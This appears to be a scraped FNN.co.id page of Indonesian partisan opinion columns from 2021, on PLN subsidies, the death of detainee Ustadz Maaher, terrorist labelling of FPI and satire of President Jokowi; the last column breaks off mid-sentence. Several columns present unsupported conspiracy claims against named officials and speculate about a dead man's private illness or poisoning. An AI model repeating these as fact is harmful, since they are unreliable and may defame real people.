Wakil Kepala Badan Siber dan Sandi Negara (BSSN) dan Mantan Direktur Narkoba Bareskrim Polri (2015).

Membangun Indonesia Bersama Abu Janda

by Asyari Usman Medan, FNN - Setelah mendamaikan Natalius Pigai dan Abu Janda, Waketum Gerindra Sufmi Dasco Ahmad mengajak netizen untuk membangun Indonesia bersama kedua orang yang bertikai itu. Bagus sekali! Cuma, apa bisa Abu Janda diajak membangun? Termasuk membangun persatuan dan persaudaraan kebangsaan? Semalaman tak bisa tidur memikirkan cara membangun Indonesia bersama Abu Janda. Sebab, salah satu hal urgen yang diperlukan untuk membangun adalah membersihkan sampah sosial-politik yang sekarang menggunung di depan Monas. Kalau sampah itu masih ada di sana, mana sudi orang mendengarkan imbauan Pak Dasco. Mengapa tak sudi? Begini. Kalau di Monas saja banyak sampah sosial-politik, bagaimana lagi di tempat lain termasuk di Senayan sana. Tentu tumpukannya lebih dahsyat lagi. Logikanya, di depan Istana saja menggunung dan tak bisa dibersihkan. Apalagi di Senayan. Tentu semakin berat, bukan? Jadi, kayaknya Pak Dasco lupa dengan bau busuk sampah Senayan. Atau, bisa jadi, beliau sudah kebal dengan bau sampah di sana. Ini pun logis. Orang yang bermukim di sekitar lokasi pembuangan sampah, biasanya tidak terlalu lama menyesuaikan diri dengan suasana sampah itu. Ok, mari kita tunggu Pak Dasco membangun Indonesia bersama Abu Janda.[] Penulis adalah Wartawan Senior FNN.co.id.

Perlu Diwaspadai Laporan Keuangan PLN 2020

by Ahmad Daryoko Magelang, FNN - Mari kita cermati besaran angka-angka keuangan PLN 2020 dari berbagai sumber di bawah ini, antara lain : Sesuai berita CNBC.Indonesia.com 15 Oktober 2020 seorang Direksi PLN mengatakan PLN akan untung Rp 10 triliun pada 2020. Tidak lama kemudian sesuai pemberitaan cnnindonesia.com tanggal 23 Oktober 2020 Melissa Brown pengamat kelistrikan dari Institute Economy for Energy Financial Analysis (IE2FA) mengatakan bahwa PLN perlu subsidi Rp 170,2 triliun untuk 2020. Kemudian disusul oleh statement Kepala Satuan Kebijakan APBN Kemenkeu (yang dilansir Repelita Online 8 Nopember 2020) bahwa 2020 PLN membutuhkan subsidi Rp 200,8 triliun. Dan yang terakhir seorang pengamat ekonomi energi, Sunarsip melalui Republika 18 Januari 2021 mengatakan bahwa subsidi listrik 2020 hanya Rp 51,82 triliun. Kesimpulan Terjadi kesimpangsiuran pemberitaan terkait berapa sebenarnya subsidi listrik 2020 kemarin? (setelah kelistrikan 90% dikuasai swasta aseng/asing yang ber konspirasi dengan Luhut B Pandjaitan, Erick Tohir, Jusuf Kalla, Dahlan Iskan, Taipan 9 Naga dll). Memang tagihan listrik belum melonjak bahkan golongan-golongan tertentu cenderung turun. Itu karena tarif listrik disubsidi pemerintah dengan cara hutang. Namun dengan dikuasainya kelistrikan oleh swasta, maka pemerintah tidak bisa mengontrol lagi "biaya operasi" dari Liswas tersebut! Artinya swasta bisa terapkan ekonomi Kapitalis yaitu "cost" serendah mungkin dan "keuntungan" setinggi mungkin. Memang nanti angka acuan resmi adalah Laporan Keuangan PLN (biasanya dalam bentuk Laporan Statistik PLN) yang sampai saat ini belum selesai. Namun dari berita simpang siur terkait angka keuangan PLN 2020 di atas diindikasikan akan terjadi "manipulasi" angka-angka operasional kelistrikan! Mengingat bila diketahui bahwa benar benar pemerintah telah menggelontorkan subsidi sampai Rp 200,8 triliun (menggelembung 400% dari biasanya) yang ternyata hanya dinikmati oleh oligarkh "oknum" pejabat di atas, maka pasti akan menimbulkan gejolak sosial (meskipun tagihan listrik tidak naik). Bisa jadi dilaporkan bahwa subsidi hanya kecil meskipun berasal dari hutang LN yang "super jumbo" ! Lagi pula siapa yang mampu cek jumlah hutang LN saat ini ? Berita pun simpang siur ada yg bilang Rp 10.700 triliun, ada yang bilang Rp 7.600 triliun , ada yang bilang Rp 5000 triliun . Mana yang benar ? Lembaga keuangan pun bisa jadi sudah masuk dalam "jajaran oligarki" guna sama-sama memperkuat agar rezim tidak goyah! Rakyat ujung+ujungnya hanya menerima "getah" nya saja. Persis saat NKRI punya hutang LN sebesar USD 132 Miliar di masa lalu, kemudian muncul LOI Oktober 1997 dan dampaknya terjadi Amandemen UUD 1945 dan bahkan dampaknya terjadi sampai saat ini (seperti terjadinya liberalisasi kelistrikan dan penjualan PLN ke swasta spt saat ini). Apakah kemudian akan terjadi dampak yang lebih drastis lagi , karena saat ini sudah habis+habisan akibat LOI sebelumnya? Misal terjadi "Balkanisasi" Indonesia? Dan Indonesia barat diserahkan ke China sebagai bagian dari OBOR (One Belt One Road) dan Indonesia Timur ke AS dan barat sebagai bagian dari "Globalisasi"? Innalillahi wa Inna illaihi roojiuunn !! Penulis adalah Koordinator INVEST.

Misteri Wafatnya Ustadz Maaher, Mengapa Polri Bersifat “Defensif”?

by Mochamad Toha Surabaya, FNN - Ada pernyataan menarik dari Polri yang tidak mengungkap secara gamblang penyakit yang diderita Soni Eranata atau Ustadz Maaher At-Thuwailibi sebelum meninggal. Penyakitnya disebut sensitif. “Yang jadi pertanyaan itu, kenapa Saudara Soni Ernata meninggal? Ini karena sakit. Saya tak bisa sampaikan sakitnya apa karena sakit yang sensitif,” kata Kadiv Humas Mabes Polri Irjen Argo Yuwono dalam jumpa pers, Selasa (9/2/2021). Seperti dilansir Detik.com, Selasa (09 Feb 2021 12:50 WIB), Argo menegaskan, pihaknya tidak akan mengungkap penyakit yang diderita oleh Ustadz Maaher. Pertimbangannya adalah terkait keluarga Maaher. “Ini bisa berkaitan dengan nama baik keluarga almarhum. Jadi, kita tidak bisa sampaikan ini secara jelas dan gamblang sakitnya apa karena penyakitnya adalah sensitif, ini masalahnya,” ujarnya. “Bisa membuat nama baik keluarga juga tercoreng,” tambah Argo. Diberitakan, Maaher berstatus tahanan kejaksaan yang dititipkan di Rutan Bareskrim Polri. Sewaktu menjadi tahanan Dittipidsiber Bareskrim, Maaher sempat dibantarkan karena sakit. Maaher meninggal dunia pada Senin (8/1/2021) malam. Kini jenazahnya dimakamkan di Ponpes Daarul Quran, Cipondoh, Tangerang. Pihak pengacara dan keluarga sebelumnya menyebut bahwa Ustadz Maaher sempat sakit terkait usus. Beberapa kali Maaher sudah mengeluhkan hal itu. “Awal beliau dioperasi ususnya itu, kira-kira 3 bulan yang lalu, nampaknya penyakit itu masih menjadi keluhan juga,” ujar pengacaranya, Djudju Purwantoro, kepada wartawan di RS Polri, Senin (8/2/2021). Keluarga mengatakan hal yang sama. “Beliau kan punya TB usus. Dulu sebelumnya sempat sakit parah kan, drop, terus kemudian sudah membaik,” kata adik Maaher, Jamal, ditemui di rumah duka, di Pondok Gede, Bekasi, Jawa Barat, Selasa (9/2/2021). Sebelumnya, seperti ditulis Suara.com, Selasa (9 Februari 2021 pukul 06.54), pengacaranya mencium ada keanehan kematian Maaher yang meninggal dunia di Rutan Bareskrim Polri, Jakarta, Senin (8/2/2021). “Kami sebagai kuasa hukumnya meminta keterangan terbuka dari tim medis setempat untuk mengklarifikasi sebab kematian tersebut,” kata Novel Bakmumin kepada Suara.com, Senin (8/2/2021). Penangguhan penahanan yang tak pernah dikabulkan Polri disayangkan kuasa hukum. “Saya sangat menyesalkan upaya yang sudah tidak menimbang unsur kemanusiaan,” tuturnya. Istri Maaher, Iqlima Ayu, sempat mengajukan penangguhan penahanan atas suaminya. Dia berharap Maaher bisa dibebaskan setelah pihaknya menjaminkan dirinya sebagai upaya penangguhan penahanan kepada penyidik Bareskrim Polri. Namun, pengajuan tersebut tidak dikabulkan. Belakangan ini, meninggalnya Maaher di rutan Bareskrim Polri ternyata berbuntut panjang. Kuasa hukumnya menduga dia sengaja 'dihabisi'. Hal ini disampaikan Novel Bamukmin di Bang Edy Channel di YouTube. Menurut Novel, penguasa sengaja “mengirim pesan” kepada para ulama dan aktivis kritis lainnya. Caranya, mereka sengaja “menghabisi” Ustadz Maheer. “Rezim ingin menegaskan, jika kalian tetap berseberangan dan kritis terhadap kekuasan, lihat yang terjadi pada Ustadz Maaher. Ini pesan yang ingin penguasa sampaikan,” kata Novel. Terlepas dari dugaan yang disampaikan kuasa hukum Maaher itu, tidak kalah penting adalah enggannya polisi mengatakan penyakit Maaher sebenarnya dengan alasan karena “sakit yang sensitif”, meski pihak keluarganya telah membuat pernyataan, “tahu” penyakitnya. Apa itu? Covid-19, HIV/AIDS, atau Racun? Fakta Medis Maaher meninggal dalam kondisi sangat mengenaskan. Dari foto wajahnya yang beredar di WAG, kayak gabakan hitam-hitam semua, lemas, dan gatal-gatal (mirip herpes). Jika melihat pemeriksaan luar pada tubuh Maaher, coba kita lihat apa penyebabnya. Saturasi oksigen. Yaitu suatu komplikasi umum dapat terjadi ketika virus menghalangi aliran darah membawa oksigen dalam tubuh, kondisi seperti hipoksia, disorientasi, kebingungan, bibir atau wajah kebiruan. Jika ini terjadi, artinya bisa jadi merupakan sinyal adanya gangguan pada jantung. Gangguan apa pun pada aliran darah dapat menyebabkan penggumpalan, meningkatkan peradangan, dan mempersulit jantung untuk melakukan tugasnya. Pada umumnya, ini bisa terjadi saat virus menghalangi aliran darah membawa oksigen dalam tubuh, kondisi seperti hipoksia, disorientasi, kebingungan, bibir atau wajah kebiruan. Jika hal ini terjadi, artinya bisa jadi merupakan sinyal adanya gangguan pada jantung. Gangguan apa pun pada aliran darah itu dapat menyebabkan penggumpalan, meningkatkan peradangan, dan mempersulit jantung untuk melakukan tugasnya. Saturasi oksigen ini salah satu dari 6 gejala dan tanda Covid-19 mulai mempengaruhi kesehatan jantung. Gejala dan tanda Covid-19 lainnya, dilansir Kompas.com, Rabu (20 Januari 2021 | 05:55 WIB), yaitu Sindrom takikardia. Peneliti percaya, pasien Covid-19, yang melakukan perjalanan jauh bisa menghadapi kondisi seperti POTS atau sindrom takikardia ortostatik postural. Sindrom ini merusak sistem saraf, menyebabkan ketidakseimbangan detak jantung, tingkat tekanan darah yang tidak biasa. Selain itu, yang perlu diwaspadai yakni tanda takikardia juga dapat bermanifestasi menjadi gejala seperti pusing, sirkulasi darah menurun, menyebabkan jantung berdebar-debar, pusing, kekebalan tubuh yang terganggu. Itu semuanya dapat dianggap sebagai tanda awal gangguan jantung. Apakah penyakit Ustadz Maaher masuk dalam 2 dari 6 gejala dan tanda Covid-19 tersebut, hanya dokter dan pihak RS Polri yang tahu. Di sinilah perlu keterbukaan pihak Polri. Ruam kulit bisa menjadi petunjuk dan bukti adanya infeksi Virus Corona (Covid-19). Hal ini dialami Dewi Persik yang mengaku menderita ruam kulit akibat terinfeksi Covid-19. Ruam kulit juga termasuk gejala terinfeksi virus corona. Tapi, tak banyak yang tahu kalau perubahan di kulit itu bisa menjadi salah satu tanda gejala Covid-19. Munculnya ruam kulit, terutama di tangan dan kaki seringkali merupakan tanda pertama infeksi virus corona pada orang yang tidak memiliki gejala penyakit lain. Seperti dilansir Kompas.com, Jumat (25 Desember 2020 | 17:55 WIB), diterbitkan di dalam American Journal of Clinical Dermatology, ulasan berbasis bukti ilmiah menunjukkan kalau ruam kulit ternyata memengaruhi satu dari lima pasien Covid-19. “Dokter harus menggunakan informasi ini untuk mengidentifikasi pasien dengan Covid-19 yang tidak memiliki gejala lain,” kata penulis studi dan dokter ahli bedah di Keck School of Medicine University of Southern California di Los Angeles, Daniel Gould, MD, PhD. “Dokter juga harus menggunakan informasi tersebut agar lebih agresif dalam menguji virus,” sambung dia. Apakah Ustadz Maaher terinfeksi Covid-19? Untuk mengetahui itu semua bisa saja melihat perlakukan dokter saat Maaher dirawat di RS Polri. Apakah dokter dan nakes yang merawat Maaher memakai alat pelindung diri (APD) lengkap atau tidak? Sesuai dengan SOP penanganan pasien Covid-19, jika mereka memakai APD, itu bisa menjadi petunjuk bahwa Maaher terkena Covid-19 atau tidak. Jika bukan Covid, apa mungkin Maaher terkena Sindrom Stevens Johnson (SSJ)? Ini adalah kelainan langka yang menyerang pada kulit dan selaput lendir sebagai jaringan lunak pelapis sistem pencernaan dari mulut ke anus, organ reproduksi (saluran genital), serta bola mata. SSJ jarang terjadi, tapi dapat menimbulkan kondisi yang serius bahkan fatal. Sindrom ini biasanya disebabkan karena reaksi terhadap obat-obatan tertentu, maupun terkadang oleh infeksi. Awalnya, gejala SSJ menyerupai flu, diikuti dengan ruam merah keunguan yang menyebar dan membentuk lepuhan. Selanjutnya, kulit akan mati dan mengelupas. SSJ adalah kondisi kegawatdaruratan yang membutuhkan perawatan di rumah sakit. Penyebab SSJ belum diketahui secara pasti. Namun secara umum, kondisi ini terjadi sebagai reaksi tubuh atas obat-obatan tertentu dan juga infeksi. Pada anak-anak, SSJ biasanya dipicu oleh infeksi virus. Pada orang dewasa, SSJ seringkali muncul sebagai bentuk reaksi yang merugikan pada obat (adverse reaction). Apakah Maaher kena SSJ, penyidik tidak juga mau menyebutnya. Atau, karena terkena racun sehingga dia “keracunan”? Jika menyimak foto Maaher yang beredar, wajahnya nyaris sama dengan foto jenazah mantan Ketua KPU Husni Kamil Malik. Pasalnya, di foto wajah Husni Kamil penuh dengan bintik merah. Hal itu menandakan jika pembuluh darah Husni Kamil pecah. Berbagai spekulasi pun mncul. Sebagian berpendapat, Husni Kamil meninggal mendadak “terkena” racun. Sayangnya, jenazah Husni Kamil saat itu tidak diotopsi. Penulis Wartawan Senior FNN.co.id.

Jenazah Ustadz Maheer Perlu Diotopsi Tim Dokter Independen

by M. Rizal Fadillah Bandaung FNN - Ustadz Maheer At Thuwailibi telah meninggal dalam status tahanan di Rumah Tahanan (Rutan) Badan Reserse Kriminal (Bareskrim) Mabes Polri. Mengapa dalam keadaan sakit, masih tetap dipaksakan untuk ditahan? Mengapa tidak ditangguhkan saja dulu penahanannya sesuai permohonan penagguhan penahanan dari istri almarhum Ustadz Maheer? Tentu dengan alasan terbuka meninggalnya Ustadz Maheer adalah akibat sakit yang belum jelas jenis penyakitnya apa? Konon masalah lambung. Diantara kuasa hukumnya, ada yang mencurigai kematian Ustadz Maheer itu sebagai meninggal tidak wajar. Sebab itu, Komisi Nasional Hak Asasi Manusia (Komnas HAM) berniat menyelidiki sebab meninggalnya ustadz Maheer. Sayangnya niat baik Komnas HAM tersebut direspon dengan tidak antusias oleh publik. Ada rasa tak percaya kepada Komas HAM berdasarkan pengalaman penyelidikan atas terbunuhnya enam anggota laskar Front Pembela Islam (FPI) di kilometer 50 tol Jakarta-Cikampek (Japek). Khawatirnya hasil penyelidikan Komnas HAM malah mirip-mirip dengan penjelasan polisi. Meski ada dugaan yang menguat di masyarakat. Tetapi tidak bisa dipastikan bahwa Ustadz Maheer meninggal sebagai korban dari pembunuhan politik. Apalagi akibat diracun segala. Untuk itu, ada baiknya dilakukan otopsi dan klarifikasi kebenaran bahwa pendakwah ini meninggal dengan wajar. Bukan meninggal karena diracun atau sejenisnya. Otopsi melibatkan tim kesehatan yang independen. Ikatan Dokter Indonesia (IDI), Dokter Mer-C dan Dokter Rumah Sakit Muhammadiyah perlu dilibatkan dalam tim yang melakukan otopsi. Sebab bagaimanapun kematian dalam status sebagai tahanan patut untuk dicurigai. Aapalagi akses publik yang terbatas terhadap tahanan adalah faktor-faktor keniscayaan itu. Dalam sejarah, kematian aktivis HAM Munir dalam perjalanan pesawat Garuda 747 rute Jakarta-Amsterdam Belanda tahun 2004 adalah bukti pembunuhan politik dengan diracun lewat makanan dan minuman. Pilot senior pesawat Garuda, almarhum Pollycarpus Budihari yang ditetapkan sebagai tersangka pembunuhan Munir. Pollycarpus dihukum oleh Pengadilan dengan penjara 14 tahun. Pada bulan Oktober 2020 lalu, Pollycarpus meninggal dunia setelah selesai menjalani hukuman di penjara. Publik sangat faham kalau Pollycarpus hanya sebagai fasilitator pembunuhan Munir. Orang yang dipilih untuk dikorbankan. Sedangkan aktor intelektual hingga kini tidak terungkap. Aktornya masih bergentayangan sampai sekarang. Kecurigaan pembunuhan melalui racun juga terjadi pada saat meninggalnya Ketua Komisi Pemilihan Umum (KPU) Husni Malik dengan indikasi wajah yang penuh bintik merah. Husni Malik menjadi penanggungjawab atas pelaksanaan Pilpres 2014. Tidak ada penyelidikan apa-apa atas kematiannya itu. Dugaan bisa iya bisa juga tidak, karenanya semestinya ada otopsi dan penyelidikan yang mendalam. Dugaan racun yang mengakibatkan kematian juga terjadi pada mantan Jaksa Agung, alhmarhum Baharuddin Lopa. Publik mengenal Baharuddin Loppa sebagai Jaksa Agung yang tidak memberi ampun kepada para koruptor yang terlibat Bantuan Likuiditas Bank Indonesia (BLIB). Lopa meninggal di Arab Saudi. Jasadnya hitam, yang diduga kebakaran akibat racun. Racun sebagai alat pembunuhan politik telah tercatat sejak lama digunakan oleh penguaa. Pada masa Kerajaan Romawi Kuno, para Kaisar maupun lawan-lawan politiknya biasa dibunuh dengan cara diracun. Racun menjadi salah satu alat paling ampuh untuk membunuh lawan. Nero dan Caligula membunuh penentangnya dengan berbagai cara, diantaranya dengan racun. "Janda Hitam dari Roma" tiga peracik racun terkenal yang dipekerjakan oleh Kaisar untuk membunuh lawab politiknya adalah Martina, Locusta, dan Canidia. Kaisar perempuan Cina Wu Zetian juga gemar meracun pihak yang berseberangan dengannya, termasuk terhadap anggota keluarganya sendiri. Dilakukan secara terang-terangan maupun diam-diam. Alexei Novalny tokoh oposisi Rusia koma karena diracun pada teh yang diminum saat tinggal landas dari bandara Omsk. Kim Jong Nam, adaik tiri penguasa tertinggi Korea Utara Kim Jong Un, bulan Februari 2018 dibunuh di Kuala lumpur dengan mengoleskan racun saraf kimia VX di wajahnya. Racun menjadi alat paling ampuh untuk menghabisi lawan politik. Georgi Markov yang menjadi salah satu pengeritik Pemerintah Bulgaria meninggal karena diracun dengan zat O,2 miligram risin. Dan banyak lagi tokoh politik yang dibunuh dengan cara diracun. Tentu saja tidak boleh ada kecurigaan, kalau Ustadz Maheer yang meninggal di Rutan Bareskrim Polri karena diracun. Untuk itu, perlu dilakukan otopsi oleh tim independen. Supaya tidak ada kecurigaan yang berkiatan dengan wafatnya ustadz Maheer, perlu dioptimalkan klarifikasi dan pertanggungjawaban. Perlu dilakukan dengan pembuktian kesehatan dan penanganan pada saat masih sakit. Sebelumnya publik telah dikejutkan oleh peristiwa sesak nafas berat yang dialami Habib Rzieq Shihab (HRS) dalam tahanan Polda Metro Jaya. Sehingga tabung oksigen selalu disiapkan untuk HRS. Kini pun konon HRS masih sakit-sakitan. Tragis memang prilaku penegak hukum republik ini. Harus memaksakan kewenanganya untuk menahan orang di dalam Rutan, meskipun dalam keadaan sakit. Entah sila kemanusiaan yang adail dan beradab yang seperti apa yang dipahami oleh mereka? Dimana saja sila yang kedua dari Pancasila ini ditempatkan dalam panduan penegakan negeri ini? Ulama dan aktivis Islam serta pejuang demokrasi banyak ditahan dan dalam proses peradilan. Akses komunikasi sangat terbatas dengan alasan pandemi Covid 19. Agar terjamin kondisinya dan terhindar dari kecurigaan atas perlakuan yang di luar hukum dan melanggar HAM, perlu selalu terinformasikan keadaannya baik kepada keluarga maupun masyarakat luas. Sebenarnya kasus Ustad Maheer hanya berkaitan dengan delik penghinaan yang sifatnya "personal". Rasanya tidak perlu sampai mendapat tekanan hukum yang berlebihan, sehingga menderita sakit parah di dalam Rutan Bareskrim. Ungkapan Novel Baswedan perlu menjadi pelajaran "orang sakit kenapa dipaksakan ditahan?". Menurutnya kematian ini bukan persoalan sepele. Penulis adalah Pemerhati Politik dan Kebangsaan.

Labelisasi Teroris Kembali Digunakan

ISLAM politik yang semakin menguat akhir-akhir ini membuat para penguasa islamofobia merasa terancam. Pilkada DKI 2017 beserta prolognya memberikan kesempatan besar bagi Islam politik untuk berekspansi. Kontestasi jabatan Gubernur DKI yang berakhir dengan kekalahan Basuk Tjahja Purnama alias Ahok menjadi lonceng peringatan bagi para penguasa. Dan mereka kebingungan. Gerakan umat yang menghadirkan jutaan orang dalam setiap kali ‘kumpul Monas’ antara akhir 2016 hingga akhir 2019 adalah salah satu simbol kebangkitan Islam politik. Para penguasa eksekutif dan para pengawal mereka di legislatif melihat ancaman Islam politik akan semakin besar kalau terus dibiarkan. Gerakan umat sangat solid dan kuat. Para penguasa tahu gerakan umat itu tak terbendung. Gelombang gerakan itu semakin membesar. Ini yang membuat para penguasa menjadi “disoriented”, kehilangan arah. Mereka tidak paham bagaimana cara menghadapinya. Para penguasa tidak paham karena mereka merasa tidak ada masalah dengan diri mereka. Di sinilah simpul persoalannya. Rakyat, khususnya umat, sudah sangat muak melihat cara-cara yang dilakukan para penguasa. Tidak saja muak, rakyat harus memikul beban berat akibat kesewenangan yang bermodalkan non-kompetensi. Para penguasa tidak kompeten mengelola negara besar ini, tetapi mereka terus mabuk dengan cara sewenang-wenang. Di tengah kesewenangan dan non-kompetensi inilah Islam politik menggumpal dan merajut kekuatan. Tak dapat dipungkiri, Habib Rizieq Syihab (HRS) adalah episentrum Islam politik itu. HRS kemudian menjadi ‘iconic figure’ (tokoh simbol). HRS bisa melakukan peran ini karena dia dilihat memiliki semua teladan yang dicari umat untuk gerakan Islam politik yang ideal. Umat mendambadakan kejujuran, kesederhanaan, keberanian dan konsistensi. Habib Rizieq memperlihatkan karakteristik ini. Umat memerlukan kecerdasan dan aksetabilitas dalam kebinekaan, HRS telah menunjukkan itu sejak lama. Umat mendambakan ketegasan dalam “mutual respect and tolerance” (saling menghormati dan toleransi), HRS pun sudah melakukan hal itu dari dulu. Ketika seluruh kompenen rakyat menuntut pembasmian korupsi dan pemulihan kedaulatan yang telah tergadai, HRS bisa diterima semua pihak. Singkat cerita, HRS bisa meyakinkan semua orang, kecuali oligarkhi politik dan bisnis, bahwa dia tidak punya agenda pribadi atau kelompok ketika meneriakkan penegakan hukum dan keadilan tanpa pilih kasih. Sejak itulah HRS tidak punya akseptabilitas di kalangan para oligarkhi rakus, para koruptor dan pengkhianat. Rating HRS menjadi nol di mata para penguasa laknat. Tidak hanya minus akseptabilitas dan rating di depan oligarkhi jahat dan para penguasa zalim, HRS kemudian dijadikan musuh yang berbahaya. Musuh yang mengancam kenikmatan mereka dalam mengobrak-abrik negara dan kekayaannya. Mau tak mau, HRS harus menghadapi kolaborasi kekuatan para penguasa zalim dan para penggarong. Inilah yang sekarang “on display” (sedang dipajang). HRS akan dikejar habis. Dengan segala cara. Apa saja yang bisa ditimpakan kepada dia pasti akan dilakukan. HRS tidak akan diberi ruang sedikit pun. Bagi para penguasa zalim yang didukung oleh oligarkhi, Habib Rizieq jangan lagi bisa mengganggu mereka. Kepulangan HRS dari Arab Saudi membuat mereka merasa terganggu. Itulah sebabnya begitu ada kekeliruan kecil yang dilakukan HRS, para penguasa langsung menjadikan itu sabagai kesempatan untuk memukul. Kesalahan sepele itu, termasuk kerumunan Petamburan dan Megamendung, serta ‘swab test’ di RS Ummi Bogor, memberikan justifikasi untuk menginteli gerak-gerik HRS. Dari sinilah bermula peristiwa KM-50 yang berujung pembunuhan 6 pengawal HRS pada 7 Desember 2020. Setelah peristiwa itu, situasi berbalik. Kesalahan kecil HRS tenggelam oleh pembunuhan sadis ke-6 anak muda FPI itu. Para penguasa zalim balik dikejar oleh opini publik. Komisi Nasional Hak Asasi Manusia (Komnas HAM) melakukan investigasi. Komnas menyimpulkan ada pelanggaran HAM. Penguasa terpojok. Bakal ada proses hukum terhadap para pembunuh. Tentunya ini sangat aib. Sayangnya, Komnas HAM yang semula berapi-api dalam penyelidikan pembunuhan ini akhirnya bisa jinak dan terkooptasi. Pernyataan-pernyataan yang kemudian keluar dari para petinggi Komnas terutama ketuanya, Ahmad Taufan Damanik, berbalik menyudutkan para korban, HRS, dan FPI. Habib dijebloskan ke penjara lewat kasus kerumunan Covid yang sebtulnya sudah terjadi ribuan kali di tempat-tempat lain. Termasuk ketika berlangsung kampanye pemilihan Wali Kota Solo. Penguasa mulai menjalankan taktik pembunuhan karakter terhadap HRS dan FPI. Labelisasi teroris adalah salah satu pembunuhan karakter yang sangat ampuh. FPI sedang digiring ke sini. Labelisasi teroris ini pula sekarang dijadikan taktik untuk mengubur kasus pembunuhan sadis 6 anggota FPI. Agar kasus ini tak jadi dibawa ke pengadilan. Labelisasi teroris juga akan mejadi pedang mermata dua. Taktik ini sekaligus akan membungkam umat Islam. Tidak hanya membungkam HRS dan para mantan pengurus FPI. Umat akan diam. Tak lagi keras menyuarakan pembunuhan yang telah dinyatakan sebagai “unlawful killing” (pembunuhan sewenang-wenang) oleh Komnas HAM. Belakangan ini, para penguasa terlihat mencari-carikan cara untuk menghubungkan FPI dengan aksi terorisme. Meskipun publik mencatat bahwa FPI tidak pernah terlibat tindakan teror. Pada 15 Desember 2020, Ketua Harian Komisi Kepolisian Nasional (Kompolnas), Irjen (Purn) Benny Mamoto, mengatakan ada 37 anggota atau mantan anggota FPI (yang waktu itu FPI masih belum dibubarkan) yang terlihat langsung dengan kelompok teroris di Indonesia. Meskipun dia seorang polisi, Benny Mamoto sebagai Ketua Harian Kompolnas tidak layak mengurusi orang-orang yang trindikasi ini dan itu. Itu bukan urusan dia. Kompolnas seharusnya mengurusi kinerja kepolisian dan melayani keluhan masyarakat terhadap kepolisian. Sebagai contoh, di Inggris ada Independent Police Complain Commission (IPCC) yang bertugas mengawasi profesionalisme polisi. Mereka melayani pengaduan masyarakat terkait tindakan polisi yang melanggar hukum. Bukan menjadi jurubicara kepolisian seperti yang dilakukan oleh Mamoto. Akan teapi, begitulah Indonesia. Hal-hal yang kontradiktif atau aneh, sudah menjadi sesuatu yang lazim. Dikritik pun, tidak akan dihiraukan. Baik, kembali ke labelisasi teroris untuk membungkam para aktivis FPI dan umat Islam pada umumnya. Permainan ini sangatlah kasar. Sangat mungkin nantinya akan ada vonis bahwa FPI terkait dengan ISIS (Islamis State of Iraq dan Syria, yaitu Negara Islam Irak dan Suriah). Pada 6 Januari 2021, Polda Makassar menangkap 19 orang yang dikatakan sebagai anggota Jemaah Ansharud Daulah (JAD) yang selama ini dilabel teroris. Setelah mereka dibawa ke Jakarta pada 4 Februari 2021, Karo Penmas Polri Birgjen Rusdi Hartono mengatakan ke-19 orang tersangka teroris ini adalah anggota FPI. "Semua terlibat atau menjadi anggota FPI di Makassar. Mereka sangat aktif dalam kegiatan FPI di Makassar," kata Rusdi dalam konferensi pers di Bandara Soekarno-Hatta ketika para tersangka mendarat dari Makassar. Beberapa hari lalu, mantan petinggi FPI, Munarman, “berhasil” dikaitkan dengan ISIS. Dikatakan, seorang anggota FPI Sulawesi Selatan mengaku bahwa dia dibaiat sebagai pengikut ISIS dengan disaksikan langsung oleh Munarman. Jika sudah tersemat bahwa FPI terhubung dengan ISIS, maka para mantan pemimpin FPI dan anggota mereka otomatis bisa disebut teroris oleh para penguasa. Bila sudah “resmi” teroris, maka bisa dengan mudah dipropagandakan oleh para penguasa bahwa 6 orang yang terbunuh itu pun termasuk yang terkait dengan teroris ISIS. Sehingga, rekomendasi Komnas HAM agar pembunuhan para pengawal HRS itu dibawa ke pengadilan, bisa diabaikan. Alasannya, organisasi mereka telah dipastikan oleh para penguasa sebagai kelompok yang mendukung teroris. Propaganda para penguasa akan didukung oleh media massa penjilat. Mereka akan beramai-ramai dan serentak menggaungkan bahwa FPI adalah organisasi teroris. Inilah yang telah dan sedang dilakukan oleh para penguasa zalim. Mereka kembali menggunakan labelisasi teroris untuk membungkam umat. Taktik usang yang sangat mudah dibaca.**

Presiden Jokowi Tambah Lucu, Belajar dari Srimulat Ya?

by Jarot Espe Surabaya, FNN- Malam itu Kabul Tessy Basuki muncul di panggung Srimulat dengan monolog genit nan ceriwis. Khas peran pembantu rumah tangga. "Aku iki sakjane bingung," ujar Tessy menyatakan rasa gelisah atas perilaku majikannya. "Dikongkon dadi pembantu, wis tak turuti." (disuruh jadi pembantu, saya jalankan). "Dadi tukang kebon, oke. sopir, opo maneh." (jadi tukang kebun, oke. jadi supir pun, apalagi). Pokoknya, sang majikan meminta Tessy Wahyuni Riwayati Hartatik (nama beken Kabul Basuki di panggung) untuk berperilaku sebagaimana pemilik rumah. Merasa sama-sama memiliki. Namun begitu Tessy mulai melirik istri majikan yang gemerlap ditimpa kilau perhiasan permata di jari tangan dan leher, sang bos marah besar. Kalap..! "Kan dia bilang anggap saja rumah sendiri. Lha bener kan.. apa salahnya kalau istri bos menjadi milik bersama." Seisi panggung serasa runtuh oleh gelak tawa. Tessy mewakili prototype pelawak khas Srimulat. "Unik, nyleneh. Saat muncul di panggung, dia harus mampu menarik urat bibir penonton untuk tersenyum," ujar Teguh Slamet Raharjo berbagi tips keberhasilan para pelawak didikannya. Panggung Srimulat merupakan paradoks kehidupan karena semata-mata memberi hiburan, meski mereka sesungguhnya perlu dihibur karena himpitan ekonomi. Ingat Srimulat, saya jadi ingat Presiden Jokowi, karena mereka sama-sama dilahirkan di Kota Solo. Maaf, wajah Pak Jokowi juga menggemaskan. Sumpah lucu, tapi beliau tidak pernah tertawa saat berbicara, padahal itu kocak, menghibur. Dulu, menjelang Pilpres 2014, Pak Jokowi dilekatkan sebagai sosok Ratu Adil alias Satrio Piningit atau pemimpin yang dinantikan karena akan membawa keadilan dan kesejahteraan bagi masyarakat. Ketika itu ditampilkan foto Pak Jokowi yang bersahaja. Mimiknya serius, meski di belakang hari mengundang senyum sinis, karena hingga Pak Jokowi terpilih menjadi presiden kedua kali, belum terlihat tanda-tanda kehadiran Ratu Adil. Ekonomi menukik tajam ke bawah, aktivis pro-demokrasi dipenjarakan. Yang paling gress (terbaru) ketika Pak Jokowi merasa rindu dikritik. Masyarakat harus lebih aktif menyampaikan kritik masukan, kata bapak presiden dalam sambutan laporan akhir tahun Ombudsman RI, 8 Februari lalu. Banyak yang ingin tersenyum pak, tapi ditahan-tahan, karena takut terjerat Undang-undang Informasi dan Transaksi Elektronik (ITE). Takut disangka menghina Kepala Negara, khawatir dianggap menyebarkan berita bohong alias hoax, bahkan dilaporkan ke polisi 